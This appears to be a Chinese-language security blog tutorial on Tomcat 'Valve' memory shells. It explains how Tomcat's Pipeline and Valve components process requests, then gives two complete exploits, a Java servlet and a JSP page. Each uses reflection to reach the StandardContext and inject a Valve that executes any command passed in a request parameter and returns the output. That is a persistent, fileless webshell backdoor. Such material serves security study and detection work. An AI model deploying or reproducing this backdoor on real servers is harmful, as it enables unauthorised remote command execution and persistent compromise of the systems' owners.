前言

Valve内存马是和filter,listener,sevlet内存马是不同的,后三者的内存马是放在web的请求中的,而Valve的内存马是放在Pipeline的流程中的。

什么是Valve

因为前面可能只是提了一下valve,比如StandardEngineValve,并没有具体的介绍,所以这里具体介绍一下:
Tomcat 的容器结构是层级制的(Engine -> Host -> Context -> Wrapper)。每个容器都有一个 Pipeline(管道),而管道中可以挂载多个 Valve(阀门)
例子:当一个请求通过容器时,它会像流水一样流经管道中的每一个阀门。每个阀门负责完成特定的任务,然后将请求传递给下一个阀门,直到最后由 BasicValve(基础阀门)将请求交给子容器或业务逻辑。
简单来说,Valve 是 Tomcat 管道(Pipeline) 机制中的一个组件,用于在请求到达最终的 Servlet 之前,对请求进行拦截、处理或过滤。
大家可以看这张图辅助理解:
image.png
其实Valve是和filter很类似的,我们也可以通过特定的方法将我们创造的valve放入到Basic之前,这也是内存马能成功的关键点。

Valve内存马

内存马流程

一个简单的Valve小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.catalina.connector.Request;  
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;

public class ValveExp extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("ValveExp invoke");
}
}

那么如何添加内存马呢?既然是在pipeline中,我们可以找到一个特定的方法-addValve()
image.png
像这个方法一眼就是添加Valve的,看一下实现方法。
image.png
是在StandardPipeline类中实现的,那么如何获得这个类成了问题,这时我们就可以回到StandardContext类中找一下有没有转机。我们会发现:
image.png
这里确实有个getPipeline,我们点进去发现跳转到了ContainerBase类
image.png
它正好又是StandardContext的父类,这里我们可以通过StandardContext.getPipeline来获取到StandardPipeline。
那么Valve应该放到哪里面呢?是filter,listener还是servlet,答案肯定是Servlet里面,还记得我们分析servlet内存马时,分析过http请求的获取,在这个过程中获取了Valve,准确的说是获取了Valve并调用了invoke方法。所以我们把Valve放到servlet中,才能被加载。(其实像filter和listener的内存马也都是放到servlet里的)
image.png

Exp

第一种是java类型的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.catalina.Valve;  
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

@WebServlet(urlPatterns = "/demo33")
public class ValveExp implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
try{
RequestFacade req1 = (RequestFacade) req;
Class<? extends RequestFacade> aClass = req1.getClass();
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request = (Request) declaredField.get(req1);
StandardContext context = (StandardContext) request.getContext();

Valve a = new ValveBase(){
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
if(request.getParameter("test33")!=null){
Process test33 = Runtime.getRuntime().exec(request.getParameter("test33"));
InputStream inputStream = test33.getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = inputStream.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}
}

}
};

context.getPipeline().addValve(a);
}catch(Exception e){
e.printStackTrace();
}
}

@Override
public String getServletInfo() {
return "";
}

@Override
public void destroy() {

}
}

image.png
第二种是jsp的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<%@ page import="org.apache.catalina.connector.RequestFacade" %>  
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %><%--
Created by IntelliJ IDEA. User: LXu2n Date: 2026/2/23 Time: 14:21 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
try {
RequestFacade request1 = (RequestFacade) request; Class<? extends RequestFacade> aClass = request1.getClass();
Field declaredField = aClass.getDeclaredField("request");
declaredField.setAccessible(true);
Request request2 = (Request) declaredField.get(request1); StandardContext context = (StandardContext) request2.getContext();
Valve a = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
if(request.getParameter("test44")!=null){
InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("test44")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while((len=inputStream.read(buffer))!=-1){
response.getOutputStream().write(buffer,0,len);
} } } };
context.getPipeline().addValve(a); }catch (Exception e){
e.printStackTrace(); }%>
<html>
<head>
<title>Title</title>
</head>
<body>

</body>
</html>

image.png
结束。

参考

Java内存马系列-06-Tomcat 之 Valve 型内存马 | Drunkbaby’s Blog